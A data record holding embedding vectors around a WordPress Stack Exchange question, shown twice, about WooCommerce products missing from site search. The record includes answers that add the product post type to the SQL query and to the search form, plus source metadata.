-0.0160369873046875, 0.0258941650390625, -0.0306243896484375, -0.0130615234375, 0.054962158203125, 0.057037353515625, -0.005039215087890625, -0.00977325439453125, 0.021209716796875, 0.005603790283203125, -0.059814453125, -0.024383544921875, -0.00693511962890625, 0.01200103759765625, -0.004940032958984375, 0.042724609375, 0.0115966796875, 0.0019817352294921875, 0.0311431884765625, -0.0308685302734375, 0.01129150390625, -0.03582763671875, 0.040985107421875, -0.0078125, -0.015228271484375, 0.034912109375, 0.0031681060791015625, -0.0033016204833984375, 0.0303802490234375, 0.011444091796875, -0.00325775146484375, 0.042999267578125, 0.01617431640625, -0.0222320556640625, -0.0256500244140625, -0.01448822021484375, -0.0345458984375, 0.028289794921875, -0.0292510986328125, 0.004947662353515625, -0.0227508544921875, 0.03131103515625, -0.0088653564453125, 0.0278167724609375, 0.01277923583984375, -0.042724609375, -0.001644134521484375, -0.034759521484375, 0.0281829833984375, -0.016632080078125, -0.01160430908203125, -0.0086822509765625, -0.01168060302734375, 0.04168701171875, 0.0001932382583618164, -0.045989990234375, 0.04156494140625, 0.0077362060546875, 0.01763916015625, 0.035125732421875, 0.032135009765625, -0.03436279296875, -0.0146331787109375, 0.0185089111328125, 0.0318603515625, 0.08404541015625, -0.02508544921875, 0.020172119140625, -0.013702392578125, -0.018341064453125, -0.0011320114135742188, 0.0352783203125, 0.0478515625, -0.05084228515625, 0.048492431640625, -0.0157318115234375, -0.0025043487548828125, -0.005336761474609375, 0.0716552734375, 0.03851318359375, -0.07000732421875, -0.005352020263671875, 0.06640625, -0.0090179443359375, -0.035064697265625, 0.0207061767578125, -0.00030231475830078125, 0.035552978515625, -0.040130615234375, -0.04742431640625, 0.053497314453125, -0.03521728515625, -0.0300750732421875, 0.03253173828125, 0.02197265625, -0.04718017578125, -0.01340484619140625, 0.0168609619140625, 0.022979736328125, -0.0008640289306640625, -0.0175933837890625, 0.05059814453125, -0.01000213623046875, 0.06365966796875, 0.032073974609375, 0.0474853515625, -0.021209716796875, -0.040313720703125, 0.00896453857421875, -0.042633056640625, -0.02545166015625, 0.005542755126953125, 0.01422882080078125, 0.007755279541015625, -0.003765106201171875, -0.019439697265625, -0.055145263671875, 0.0016021728515625, 0.013458251953125, 0.007022857666015625, 0.0280303955078125, 0.040252685546875, 0.01325225830078125, -0.005615234375, -0.037628173828125, -0.0104217529296875, -0.02301025390625, -0.01413726806640625, -0.0015306472778320312, -0.03338623046875, -0.036712646484375, -0.022857666015625, -0.0161285400390625, 0.0068359375, -0.004444122314453125, -0.01465606689453125, -0.03704833984375, 0.050018310546875, 0.027740478515625, 0.046905517578125, -0.04583740234375, 0.0250091552734375, 0.038421630859375, 0.01032257080078125, -0.01983642578125, 0.04541015625, 0.0682373046875, -0.0225830078125, 0.0258636474609375, -0.0167694091796875, -0.0251922607421875, -0.0296783447265625, 0.0019969940185546875, -0.005779266357421875, 0.0254058837890625, -0.0008597373962402344, 0.01374053955078125, -0.03265380859375, 0.004993438720703125, -0.01959228515625, 0.07391357421875, -0.0513916015625, -0.0110321044921875, 0.025421142578125, -0.0018405914306640625, 0.018157958984375, -0.0252838134765625, -0.02984619140625, 0.004604339599609375, 0.004116058349609375, -0.0082855224609375, 0.01198577880859375, -0.00751495361328125, 0.00019633769989013672, 0.006877899169921875, 0.034332275390625, 0.0160064697265625, 0.0196990966796875, 0.01276397705078125, -0.051910400390625, -0.048736572265625, -0.00586700439453125, -0.006381988525390625, -0.0308074951171875, -0.03887939453125, 0.029510498046875, -0.006412506103515625, -0.0025539398193359375, 0.031829833984375, 0.09808349609375, 0.0726318359375, -0.0994873046875, -0.0063323974609375, -0.0086212158203125, -0.053070068359375, 0.0078277587890625, 0.019256591796875, -0.0236358642578125, -0.045013427734375, 0.04852294921875, -0.033355712890625, 0.0018262863159179688, 0.0335693359375, 0.00661468505859375, -0.006183624267578125, -0.041046142578125, 0.0128173828125, 0.0240936279296875, 0.001964569091796875, 0.013824462890625, 0.0109405517578125, 0.0246124267578125, 0.00180816650390625, -0.0217437744140625, 0.01090240478515625, -0.033050537109375, -0.042266845703125, 0.0064239501953125, -0.05938720703125, 0.020751953125, -0.022735595703125, -0.0015649795532226562, 0.0093536376953125, 0.06658935546875, -0.031707763671875, -0.005069732666015625, 0.057708740234375, -0.029998779296875, 0.032257080078125, -0.019622802734375, 0.0269317626953125, 0.06939697265625, -0.05908203125, 0.01464080810546875, 0.01148223876953125, -0.0172119140625, -0.004161834716796875, -0.0265350341796875, 0.03167724609375, 0.0014972686767578125, -0.022552490234375, 0.02435302734375, -0.004489898681640625, -0.0012054443359375, 0.01190948486328125, -0.0082855224609375, -0.0193939208984375, -0.005359649658203125, 0.0021724700927734375, -0.04144287109375, -0.026153564453125, -0.0020923614501953125, -0.07757568359375, 0.01424407958984375, 0.0238189697265625, 0.046844482421875, 0.0020160675048828125, -0.026519775390625, -0.0200347900390625, -0.0521240234375, -0.071044921875, 0.06396484375, -0.02276611328125, 0.08245849609375, -0.086181640625, -0.0019474029541015625, 0.0233001708984375, 0.01531219482421875, 0.020721435546875, -0.0005636215209960938, 0.01363372802734375, 0.0218353271484375, 0.05706787109375, 0.059326171875, 0.01064300537109375, -0.0068359375, -0.0270233154296875, 0.006366729736328125, 0.028167724609375, -0.037384033203125, 0.016265869140625, 0.01546478271484375, -0.0288848876953125, 0.00415802001953125, 0.0164337158203125, 0.01122283935546875, 0.01125335693359375, -0.02020263671875, 0.0095367431640625, 0.007656097412109375, 0.001956939697265625, -0.0136871337890625, 0.050140380859375, 0.005523681640625, 0.08221435546875, -0.08575439453125, -0.05950927734375, -0.01531219482421875, 0.047607421875, 0.0283050537109375, 0.020538330078125, 0.040740966796875, 0.03790283203125, -0.0013952255249023438, -0.0006341934204101562, 0.034881591796875, 0.02593994140625, -0.056427001953125, 0.043426513671875, 0.04315185546875, 0.04107666015625, -0.00914764404296875, -0.01059722900390625, 0.0211639404296875, 0.05657958984375, -0.03863525390625, -0.04058837890625, 0.00959014892578125, 0.0038852691650390625, 0.0005059242248535156, -0.0215301513671875, -0.0204010009765625, -0.044342041015625, -0.01093292236328125, 0.0150604248046875, -0.032379150390625, -0.003833770751953125, 0.02435302734375, 0.01019287109375, 0.0098876953125, 0.0123443603515625, -0.018341064453125, -0.059478759765625, 0.018096923828125, 0.025390625, 0.05999755859375, 0.01049041748046875, 0.0634765625, 0.0157470703125, -0.0238037109375, 0.0235748291015625, 0.0204010009765625, 0.0123291015625, -0.049591064453125, 0.01549530029296875, -0.02587890625, -0.024505615234375, -0.00447845458984375, -0.03570556640625, 0.00435638427734375, 0.04315185546875, 0.0889892578125, -0.0155487060546875, -0.044403076171875, 0.005096435546875, -0.0037746429443359375, -0.034515380859375, -0.0322265625, -0.0014467239379882812, 0.019561767578125, 0.01352691650390625, 0.01454925537109375, 0.031524658203125, 0.016754150390625, -0.001476287841796875, 0.043853759765625, 0.01161956787109375, -0.0009427070617675781, 0.037017822265625, 0.0419921875, 0.026275634765625, 0.052703857421875, -0.024261474609375, -0.01540374755859375, -0.006999969482421875, 0.0179901123046875, 0.0243377685546875, 0.034454345703125, 0.01387786865234375, 0.0002856254577636719, 0.026275634765625, -0.032012939453125, 0.0013151168823242188, 0.0285491943359375, 0.02154541015625, -0.006866455078125, 0.006671905517578125, -0.0012722015380859375, 0.00637054443359375, -0.00817108154296875, 0.029266357421875, 0.0271453857421875, -0.025177001953125, 0.039703369140625, -0.02081298828125, 0.00543975830078125, -0.0161285400390625, 0.004718780517578125, -0.01422119140625, 0.0145416259765625, -0.021820068359375, 0.0325927734375, 0.00788116455078125, -0.01262664794921875, -0.041168212890625, 0.06036376953125, -0.00873565673828125, 0.0112457275390625, 0.0199127197265625, -0.03021240234375, 0.00736236572265625, 0.047149658203125, 0.031402587890625, -0.0209503173828125, -0.026397705078125, -0.07086181640625, -0.031219482421875, 0.05511474609375, 0.0117340087890625, -0.0230560302734375, -0.0002529621124267578, -0.00824737548828125, -0.07208251953125, 0.031341552734375, -0.056732177734375, 0.030731201171875, 0.027008056640625, 0.038238525390625, 0.0092620849609375, -0.0284271240234375, -0.02618408203125, -0.0076904296875, 0.0177154541015625, -0.009735107421875, -0.004535675048828125, -0.0152587890625, -0.0143890380859375, 0.05731201171875, 0.0548095703125, 0.0117034912109375, 0.040374755859375, -0.0030612945556640625, -0.01885986328125, 0.0260467529296875, 0.07635498046875, 0.01343536376953125, 0.0243682861328125, -0.0287017822265625, -0.016510009765625, 0.0098114013671875, 0.0026092529296875, -0.0142364501953125, -0.025604248046875, 0.046783447265625, -0.01068115234375, 0.015167236328125, -0.024078369140625, -0.0279998779296875, 0.02099609375, 0.004032135009765625, 0.01995849609375, 0.016845703125, 0.0675048828125, -0.030670166015625, -0.051849365234375, 0.0010051727294921875, 0.0184326171875, -0.036651611328125, 0.0242919921875, 0.03173828125, -0.025115966796875, -0.0177001953125, 0.0193939208984375, 0.03570556640625, 0.037109375, 0.058380126953125, -0.0177459716796875, 0.009368896484375, -0.00876617431640625, -0.0184326171875, -0.04400634765625, 0.0181732177734375, -0.089599609375, -0.02545166015625, -0.015594482421875, 0.0035915374755859375, 0.0164794921875, -0.047119140625, -0.10107421875, 0.01837158203125, -0.013519287109375, -0.0445556640625, -0.00467681884765625, -0.0022106170654296875, -0.007610321044921875, -0.00975799560546875, 0.0016622543334960938, -0.029052734375, -0.04010009765625, -0.0172576904296875, 0.0164947509765625, 0.0288238525390625, 0.013214111328125, 0.00809478759765625, 0.003734588623046875, 0.025604248046875, 0.0173797607421875, -0.0130615234375, 0.0259246826171875, -0.01377105712890625, -0.0028095245361328125, 0.03814697265625, -0.050048828125, -0.086669921875, -0.054534912109375, -0.0270843505859375, 0.00669097900390625, -0.04388427734375, -0.037261962890625, -0.03509521484375, 0.0413818359375, 0.0302581787109375, 0.01123046875, -0.0199432373046875, -0.00772857666015625, -0.00006848573684692383, -0.03802490234375, -0.003814697265625, 0.0204620361328125, -0.05572509765625, -0.0030956268310546875, 0.01059722900390625, 0.0184783935546875, 0.038177490234375, -0.03662109375, 0.0155029296875, -0.0284423828125, -0.01898193359375, -0.0291900634765625, -0.0022125244140625, -0.01395416259765625, 0.039215087890625, -0.029388427734375, 0.0007700920104980469, 0.006893157958984375, 0.0112457275390625, 0.0219268798828125, 0.0275726318359375, -0.038818359375, -0.07421875, 0.033477783203125, 0.05133056640625, -0.017333984375, 0.01318359375, -0.009185791015625, -0.0030536651611328125, 0.0180816650390625, 0.0081634521484375, -0.022705078125, 0.0242767333984375, 0.041046142578125, -0.029510498046875, -0.03057861328125, 0.00991058349609375, -0.0160369873046875, -0.06097412109375, -0.036834716796875, 0.027679443359375, -0.045013427734375, 0.0023651123046875, -0.0179290771484375, -0.009033203125, 0.015777587890625, -0.004848480224609375, 0.00015723705291748047, 0.0080718994140625, -0.039154052734375, -0.0137176513671875, -0.005092620849609375, -0.0101776123046875 ]
50dbd2fa4a98dd0176edd4d76214110892f5f7d6
Wordpress Stackexchange Q: Search results don't show products my website is a woocommerce site and it has blog posts and some pages. My problem is the search box. Everytime I searched it only shows the posts and pages results. It is not showing woocommerce products. How can I fix this wordpress search result? Here is my wordpress search.php https://pastebin.com/SQqihtd0 A: You have in your query WHERE p.post_type IN ('post', 'page'), that is why it shows only the posts and pages. Add post type product to query: WHERE p.post_type IN ('post', 'page', 'product')
Q: Search results don't show products my website is a woocommerce site and it has blog posts and some pages. My problem is the search box. Everytime I searched it only shows the posts and pages results. It is not showing woocommerce products. How can I fix this wordpress search result? Here is my wordpress search.php https://pastebin.com/SQqihtd0 A: You have in your query WHERE p.post_type IN ('post', 'page'), that is why it shows only the posts and pages. Add post type product to query: WHERE p.post_type IN ('post', 'page', 'product') A: Replace this with your search form and products will show in results: <form method="get" id="searchform" action="<?php echo esc_url( home_url( '/' ) ); ?>"> <label for="s">Search</label> <input type="text" class="field" name="s" id="s" placeholder="Search Something" /> <input type="submit" class="submit" name="submit" id="searchsubmit" value="Search" /> <input type="hidden" name="post_type" id="post_type" value="product" /> </form>
wordpress
{ "language": "en", "length": 138, "provenance": "stackexchange_00019.jsonl.gz:488235", "question_score": "4", "source": "stackexchange", "timestamp": "2023-03-29", "url": "https://wordpress.stackexchange.com/questions/310132" }
[ 0.005764007568359375, -0.0096435546875, -0.0087127685546875, 0.037567138671875, -0.010772705078125, -0.0292510986328125, 0.0472412109375, -0.0401611328125, 0.031707763671875, 0.0279388427734375, -0.0762939453125, -0.0017786026000976562, -0.03369140625, 0.0072784423828125, -0.04925537109375, -0.05389404296875, 0.01116943359375, -0.01092529296875, 0.025299072265625, -0.0164337158203125, 0.00670623779296875, -0.0014677047729492188, 0.02850341796875, 0.002040863037109375, 0.0179290771484375, -0.051177978515625, 0.08013916015625, -0.027496337890625, 0.047515869140625, -0.018585205078125, 0.0305328369140625, -0.004169464111328125, 0.0247039794921875, -0.026458740234375, 0.028594970703125, 0.0267791748046875, 0.0002605915069580078, 0.003520965576171875, 0.0297088623046875, -0.01413726806640625, -0.00676727294921875, 0.00745391845703125, 0.02471923828125, 0.00603485107421875, 0.01262664794921875, -0.057525634765625, 0.00998687744140625, -0.071044921875, 0.006183624267578125, -0.05255126953125, -0.0165252685546875, 0.046875, 0.003993988037109375, -0.0535888671875, -0.0208282470703125, -0.01042938232421875, 0.0017747879028320312, 0.0200042724609375, 0.020233154296875, -0.048553466796875, -0.03192138671875, 0.0063934326171875, 0.0217132568359375, 0.0222320556640625, -0.0168609619140625, 0.01080322265625, 0.024169921875, 0.006595611572265625, -0.057220458984375, -0.026763916015625, 0.041656494140625, -0.0163421630859375, -0.00432586669921875, 0.040557861328125, -0.0284881591796875, -0.0704345703125, 0.0240020751953125, -0.0458984375, 0.00849151611328125, 0.0462646484375, -0.0208892822265625, 0.009674072265625, -0.042816162109375, -0.047760009765625, 0.006267547607421875, -0.0312347412109375, -0.0005068778991699219, 0.0120849609375, -0.0374755859375, -0.034088134765625, -0.0167999267578125, -0.061309814453125, -0.07958984375, 0.0205535888671875, 0.01390838623046875, -0.025848388671875, 0.0012454986572265625, 0.02813720703125, 0.01137542724609375, 0.041473388671875, -0.005237579345703125, -0.04168701171875, 0.019317626953125, -0.04193115234375, 0.022857666015625, 0.0031490325927734375, -0.01910400390625, 0.01210784912109375, 0.06573486328125, 0.0484619140625, 0.020751953125, 0.050201416015625, -0.0343017578125, -0.0634765625, 0.0097808837890625, 0.05816650390625, -0.021209716796875, 0.0011577606201171875, 0.0128631591796875, -0.01445770263671875, 0.007221221923828125, 0.0303497314453125, 0.0175933837890625, -0.0254974365234375, 0.00024318695068359375, -0.01326751708984375, -0.016326904296875, -0.0219879150390625, 0.0211334228515625, 0.0002777576446533203, -0.0158843994140625, -0.0031833648681640625, -0.0041351318359375, 0.0284576416015625, 0.0020275115966796875, -0.0093994140625, -0.00945281982421875, -0.0014238357543945312, -0.01331329345703125, 0.00627899169921875, 0.0163421630859375, -0.011810302734375, -0.005680084228515625, -0.00795745849609375, 0.054229736328125, -0.022216796875, 0.0027408599853515625, 0.052337646484375, 0.026031494140625, 0.00977325439453125, 0.01033782958984375, 0.04498291015625, 0.004558563232421875, 0.0289306640625, 0.0182647705078125, -0.003208160400390625, 0.06451416015625, -0.043914794921875, 0.0029296875, -0.04705810546875, 0.039520263671875, 0.00884246826171875, 0.045074462890625, 0.02130126953125, -0.01184844970703125, -0.0158538818359375, -0.048126220703125, -0.02783203125, 0.0166778564453125, -0.00876617431640625, 0.00958251953125, -0.01038360595703125, 0.0506591796875, -0.01198577880859375, -0.023895263671875, -0.006214141845703125, 0.0277099609375, 0.0192718505859375, 0.043060302734375, 0.0162353515625, -0.005611419677734375, -0.004627227783203125, 0.11944580078125, -0.05206298828125, -0.047576904296875, 0.0469970703125, 0.0254364013671875, 0.01506805419921875, -0.045623779296875, 0.005214691162109375, 0.06610107421875, 0.0919189453125, -0.0517578125, 0.026611328125, 0.00742340087890625, -0.046478271484375, 0.0007586479187011719, -0.02093505859375, -0.005828857421875, 0.0110931396484375, -0.0036411285400390625, 0.017974853515625, 0.0010881423950195312, 0.0178070068359375, -0.020294189453125, 0.0305328369140625, -0.0161895751953125, 0.021636962890625, -0.007686614990234375, 0.02288818359375, 0.0136566162109375, 0.01462554931640625, -0.029296875, -0.01450347900390625, -0.01016998291015625, 0.00033473968505859375, -0.0173492431640625, 0.044464111328125, 0.0091705322265625, -0.005889892578125, -0.00432586669921875, -0.0258636474609375, 0.0176849365234375, 0.026947021484375, 0.06854248046875, 0.016632080078125, -0.0084075927734375, -0.0151214599609375, 0.0672607421875, 0.0082550048828125, -0.0308837890625, 0.01235198974609375, 0.032440185546875, 0.03961181640625, -0.028167724609375, 0.0127716064453125, 0.01068115234375, -0.0014448165893554688, -0.0000972747802734375, 0.026397705078125, 0.033416748046875, 0.0430908203125, -0.007038116455078125, -0.007129669189453125, 0.06646728515625, -0.031707763671875, -0.003917694091796875, 0.0016431808471679688, 0.00969696044921875, 0.060394287109375, 0.010498046875, -0.01140594482421875, 0.00356292724609375, -0.03009033203125, 0.0197601318359375, 0.03216552734375, 0.0091552734375, 0.0675048828125, -0.029815673828125, 0.00926971435546875, -0.03521728515625, 0.001739501953125, 0.025238037109375, -0.025115966796875, -0.0015621185302734375, 0.02374267578125, 0.01275634765625, 0.006053924560546875, -0.036376953125, 0.0095672607421875, 0.0168304443359375, -0.003864288330078125, -0.00582122802734375, 0.03375244140625, 0.0015115737915039062, -0.0214996337890625, -0.04547119140625, 0.00811004638671875, 0.02276611328125, 0.0011034011840820312, 0.03369140625, 0.0193023681640625, 0.015411376953125, -0.0015401840209960938, -0.0086822509765625, -0.0455322265625, 0.0222015380859375, 0.07867431640625, -0.0009775161743164062, 0.005584716796875, 0.01324462890625, 0.037139892578125, -0.018280029296875, 0.051727294921875, -0.0115966796875, 0.0008177757263183594, 0.0087432861328125, -0.051055908203125, 0.055328369140625, -0.051422119140625, 0.033294677734375, 0.0653076171875, -0.0290985107421875, 0.0298919677734375, 0.00859832763671875, 0.0055999755859375, 0.03131103515625, -0.005947113037109375, -0.02423095703125, 0.0302276611328125, -0.1109619140625, -0.0308685302734375, 0.037628173828125, 0.0296630859375, 0.01512908935546875, -0.01947021484375, -0.005664825439453125, 0.036041259765625, -0.0953369140625, -0.1011962890625, -0.037994384765625, -0.052459716796875, -0.0232696533203125, -0.01284027099609375, -0.01300811767578125, 0.0231781005859375, -0.006534576416015625, 0.00742340087890625, -0.0098114013671875, -0.0173492431640625, -0.056915283203125, -0.04266357421875, -0.061248779296875, 0.037750244140625, -0.0195770263671875, 0.018096923828125, -0.00852203369140625, 0.036956787109375, 0.007144927978515625, -0.049591064453125, 0.00746917724609375, 0.079345703125, -0.0152130126953125, 0.0042266845703125, -0.0111846923828125, -0.03131103515625, -0.0032634735107421875, 0.0032444000244140625, 0.0287933349609375, 0.01134490966796875, 0.00247955322265625, 0.0125579833984375, 0.0202178955078125, -0.0087432861328125, 0.0225830078125, -0.01358795166015625, -0.0445556640625, -0.01189422607421875, -0.0116729736328125, -0.06634521484375, -0.02423095703125, -0.0251007080078125, -0.033203125, 0.044158935546875, 0.01381683349609375, 0.0023441314697265625, -0.0248565673828125, 0.04730224609375, 0.044281005859375, 0.00995635986328125, -0.017120361328125, -0.026641845703125, 0.031890869140625, 0.034332275390625, 0.055755615234375, -0.01454925537109375, 0.00936126708984375, -0.03411865234375, 0.03619384765625, 0.018890380859375, 0.00002491474151611328, 0.0001016855239868164, 0.00789642333984375, -0.0182647705078125, -0.038330078125, 0.044464111328125, 0.0178985595703125, 0.0288543701171875, -0.0240631103515625, -0.048797607421875, -0.0013875961303710938, 0.10601806640625, -0.03668212890625, -0.027923583984375, -0.0006356239318847656, 0.022735595703125, -0.02288818359375, -0.06573486328125, -0.0186614990234375, -0.0129547119140625, -0.044586181640625, -0.00811004638671875, -0.0130615234375, -0.0224151611328125, 0.01502227783203125, -0.0283966064453125, -0.0038299560546875, -0.035858154296875, 0.01220703125, -0.00927734375, -0.00384521484375, 0.0174713134765625, -0.022125244140625, -0.004184722900390625, -0.0180511474609375, -0.01552581787109375, -0.04766845703125, -0.02166748046875, 0.07861328125, 0.021697998046875, -0.037322998046875, -0.0045166015625, -0.043731689453125, 0.042572021484375, 0.00798797607421875, 0.05181884765625, 0.02239990234375, -0.00905609130859375, 0.0273895263671875, -0.004150390625, 0.0246734619140625, -0.030364990234375, 0.00689697265625, -0.0168914794921875, 0.003986358642578125, 0.01824951171875, -0.032196044921875, -0.0021648406982421875, -0.0135650634765625, -0.01319122314453125, -0.0267333984375, -0.020050048828125, 0.002193450927734375, 0.01690673828125, -0.0191802978515625, 0.01372528076171875, -0.01386260986328125, -0.0096435546875, 0.033355712890625, 0.01056671142578125, -0.0278167724609375, 0.004734039306640625, 0.0310516357421875, 0.009521484375, -0.023681640625, -0.0029926300048828125, -0.011627197265625, -0.007129669189453125, 0.045379638671875, 0.016448974609375, -0.032958984375, -0.0031909942626953125, 0.022125244140625, -0.01861572265625, -0.0025615692138671875, -0.0037212371826171875, 0.04168701171875, -0.0106048583984375, -0.0139617919921875, 0.01497650146484375, -0.029571533203125, 0.020050048828125, 0.02862548828125, -0.0247344970703125, -0.013427734375, -0.01171112060546875, 0.04962158203125, -0.02313232421875, 0.014404296875, -0.043731689453125, -0.0202484130859375, -0.002460479736328125, 0.0036869049072265625, 0.034698486328125, 0.025146484375, -0.00048613548278808594, 0.01306915283203125, 0.0184326171875, -0.0005769729614257812, -0.01129913330078125, -0.0010166168212890625, -0.05419921875, 0.0119171142578125, -0.021209716796875, -0.035552978515625, 0.01418304443359375, -0.00699615478515625, 0.042083740234375, -0.01331329345703125, -0.0273895263671875, 0.0005011558532714844, -0.0237274169921875, -0.01016998291015625, 0.04364013671875, -0.0009541511535644531, 0.0234222412109375, 0.029144287109375, -0.0138397216796875, -0.01067352294921875, -0.0215301513671875, -0.00458526611328125, -0.044952392578125, 0.0223236083984375, -0.01385498046875, 0.018035888671875, 0.0238189697265625, 0.08465576171875, -0.037261962890625, 0.062744140625, -0.0008268356323242188, -0.017120361328125, -0.031280517578125, 0.05743408203125, 0.0154876708984375, -0.033966064453125, -0.000286102294921875, 0.029876708984375, 0.034698486328125, -0.0074310302734375, -0.0025386810302734375, 0.0034770965576171875, -0.0214996337890625, -0.0218505859375, -0.01080322265625, 0.05157470703125, 0.0142822265625, -0.01947021484375, -0.0028247833251953125, -0.0140838623046875, -0.0078277587890625, -0.03961181640625, -0.01267242431640625, 0.031707763671875, 0.03167724609375, -0.0032444000244140625, -0.003055572509765625, -0.014312744140625, -0.01690673828125, 0.026824951171875, -0.040740966796875, 0.0031585693359375, 0.014984130859375, -0.03192138671875, -0.041717529296875, 0.00566864013671875, -0.0287933349609375, -0.00008726119995117188, -0.0159912109375, -0.00016248226165771484, 0.0242767333984375, -0.0252532958984375, 0.043701171875, 0.0033245086669921875, -0.04010009765625, -0.00788116455078125, 0.03131103515625, -0.0076446533203125, 0.0008630752563476562, -0.055755615234375, -0.00848388671875, -0.004627227783203125, -0.0108184814453125, 0.0399169921875, 0.032501220703125, -0.046966552734375, -0.0219268798828125, 0.0032634735107421875, 0.03546142578125, -0.0291748046875, -0.05731201171875, -0.031494140625, -0.0166168212890625, 0.0160369873046875, 0.0254364013671875, -0.0231781005859375, 0.049530029296875, -0.0163116455078125, 0.041290283203125, -0.02325439453125, 0.019989013671875, 0.006175994873046875, -0.0134429931640625, 0.0149688720703125, -0.048583984375, -0.058990478515625, -0.00118255615234375, -0.08392333984375, 0.0269622802734375, 0.03717041015625, -0.0171966552734375, -0.016265869140625, -0.018707275390625, -0.0033969879150390625, -0.01259613037109375, 0.0745849609375, -0.00019598007202148438, -0.01224517822265625, 0.045989990234375, -0.01190948486328125, 0.0182647705078125, 0.0124664306640625, -0.007843017578125, 0.0083770751953125, 0.00643157958984375, 0.01371002197265625, -0.0241241455078125, -0.021697998046875, 0.03973388671875, 0.017120361328125, -0.01259613037109375, 0.00836181640625, -0.0110626220703125, -0.00777435302734375, -0.0015411376953125, 0.0251922607421875, -0.034454345703125, -0.004344940185546875, 0.047271728515625, -0.00872039794921875, -0.038360595703125, 0.033477783203125, -0.03570556640625, -0.006870269775390625, 0.06927490234375, 0.042633056640625, -0.11004638671875, -0.01183319091796875, 0.007671356201171875, 0.000690460205078125, 0.001567840576171875, 0.0178375244140625, 0.007244110107421875, -0.03619384765625, 0.010101318359375, 0.006244659423828125, -0.00936126708984375, -0.006565093994140625, -0.0039215087890625, -0.0012407302856445312, 0.034637451171875, 0.0367431640625, 0.0082244873046875, -0.10357666015625, -0.00872039794921875, 0.0716552734375, -0.026153564453125, -0.0100555419921875, -0.00867462158203125, 0.0084686279296875, -0.016204833984375, -0.07818603515625, 0.0009646415710449219, -0.04547119140625, 0.0220947265625, 0.041656494140625, 0.009307861328125, 0.007732391357421875, 0.06512451171875, -0.01537322998046875, 0.0307159423828125, 0.0078582763671875, -0.0316162109375, -0.0023555755615234375, -0.003025054931640625, 0.00939178466796875, 0.050994873046875, -0.0665283203125, 0.0139617919921875, -0.033599853515625, 0.037109375, -0.0233154296875, -0.0228729248046875, 0.04736328125, -0.02545166015625, -0.01216888427734375, 0.0217132568359375, 0.042510986328125, -0.006526947021484375, -0.00023412704467773438, -0.002307891845703125, 0.0038127899169921875, 0.05462646484375, -0.004024505615234375, 0.046844482421875, 0.0204315185546875, 0.0222015380859375, -0.0693359375, 0.00274658203125, -0.031890869140625, 0.030242919921875, 0.013702392578125, -0.0138702392578125, 0.0122833251953125, -0.0309295654296875, -0.0068359375, 0.034271240234375, -0.0258941650390625, 0.069580078125, -0.0261383056640625, -0.0081634521484375, 0.03240966796875, 0.05120849609375, 0.0445556640625, -0.0021209716796875, -0.0377197265625, -0.0068206787109375, 0.056427001953125, 0.048004150390625, 0.01788330078125, 0.027069091796875, 0.00954437255859375, -0.014892578125, 0.056304931640625, -0.05792236328125, 0.0184173583984375, -0.0309906005859375, 0.044281005859375, 0.0250091552734375, 0.00949859619140625, 0.022491455078125, -0.01348114013671875, 0.01477813720703125, 0.0005879402160644531, -0.01537322998046875, 0.006404876708984375, -0.0175628662109375, 0.0094451904296875, 0.0115203857421875, 0.04510498046875, -0.08282470703125, -0.04827880859375, -0.010894775390625, 0.0323486328125, 0.0286865234375, 0.0592041015625, 0.0055694580078125, 0.01727294921875, 0.0865478515625, -0.0169525146484375, 0.042449951171875, 0.0361328125, -0.055419921875, 0.0157318115234375, 0.006801605224609375, 0.0277099609375, -0.0268096923828125, 0.00887298583984375, 0.0261383056640625, 0.020965576171875, -0.027984619140625, -0.06317138671875, 0.0081024169921875, -0.0120391845703125, 0.0127105712890625, 0.0145111083984375, -0.017974853515625, 0.021087646484375, 0.058929443359375, -0.0017824172973632812, 0.01280975341796875, -0.01323699951171875, 0.00830841064453125, -0.01715087890625, -0.00494384765625, -0.01053619384765625, 0.0160369873046875, -0.026824951171875, 0.041473388671875, 0.0031795501708984375, 0.052886962890625, -0.007404327392578125, 0.046051025390625, -0.088134765625, -0.0260772705078125, -0.01004791259765625, 0.0192413330078125, -0.01885986328125, 0.019775390625, -0.07611083984375, -0.0665283203125, 0.019989013671875, 0.0655517578125, 0.023590087890625, 0.0404052734375, 0.007965087890625, 0.041412353515625, 0.0440673828125, 0.004688262939453125, 0.060699462890625, 0.005413055419921875, -0.020599365234375, -0.00894927978515625, 0.057403564453125, 0.033966064453125, 0.021881103515625, -0.01404571533203125, 0.0694580078125, 0.018157958984375, -0.00189208984375, 0.00626373291015625, 0.003200531005859375, -0.04388427734375, 0.04608154296875, 0.017425537109375, 0.09619140625, 0.030609130859375, -0.0721435546875, -0.011932373046875, -0.044921875, -0.026641845703125, 0.016265869140625, 0.0350341796875, -0.003108978271484375, 0.006931304931640625, 0.044830322265625, -0.019927978515625, -0.00907135009765625, 0.019012451171875, 0.03155517578125, -0.006946563720703125, 0.007091522216796875, 0.0226898193359375, -0.0307159423828125, -0.0202484130859375, 0.0062103271484375, 0.00689697265625, -0.0279388427734375, 0.0689697265625, 0.00019538402557373047, -0.004299163818359375, -0.02520751953125, 0.00604248046875, -0.016845703125, -0.0191192626953125, 0.035125732421875, -0.01120758056640625, -0.0236053466796875, -0.0085601806640625, -0.016326904296875, -0.017578125, 0.050048828125, -0.0401611328125, -0.0017299652099609375, -0.0264434814453125, 0.027557373046875, -0.03009033203125, -0.01058197021484375, -0.0170440673828125, 0.011260986328125, 0.007152557373046875, -0.0008096694946289062, 0.026824951171875, -0.0180206298828125, -0.0150909423828125, 0.01849365234375, 0.00243377685546875, -0.049224853515625, 0.0272979736328125, -0.0462646484375, 0.047698974609375, 0.05120849609375, 0.0227813720703125, 0.037078857421875, -0.0145721435546875, -0.0241241455078125, 0.0010862350463867188, 0.005649566650390625, -0.033935546875, -0.0094451904296875, -0.0328369140625, -0.020111083984375, -0.0155792236328125, 0.0077972412109375, -0.004650115966796875, -0.014312744140625, -0.003765106201171875, -0.021392822265625, -0.039520263671875, 0.03662109375, -0.0135650634765625, 0.0181884765625, -0.0157470703125, -0.0198974609375, 0.03778076171875, -0.044830322265625, -0.0034046173095703125, -0.0212554931640625, 0.0148162841796875, 0.005825042724609375, -0.05499267578125, 0.0121002197265625, -0.002132415771484375, 0.014617919921875, -0.0274810791015625, -0.056427001953125, 0.0307464599609375, 0.0579833984375, -0.00323486328125, 0.035675048828125, -0.0264739990234375, -0.07232666015625, -0.00444793701171875, 0.01392364501953125, 0.037445068359375, -0.01393890380859375, -0.037261962890625, -0.0227813720703125, -0.007904052734375, 0.033294677734375, 0.0284881591796875, -0.0213165283203125, 0.017578125, 0.005817413330078125, -0.0264434814453125, -0.034698486328125, 0.01898193359375, -0.029815673828125, -0.0160064697265625, 0.030517578125, 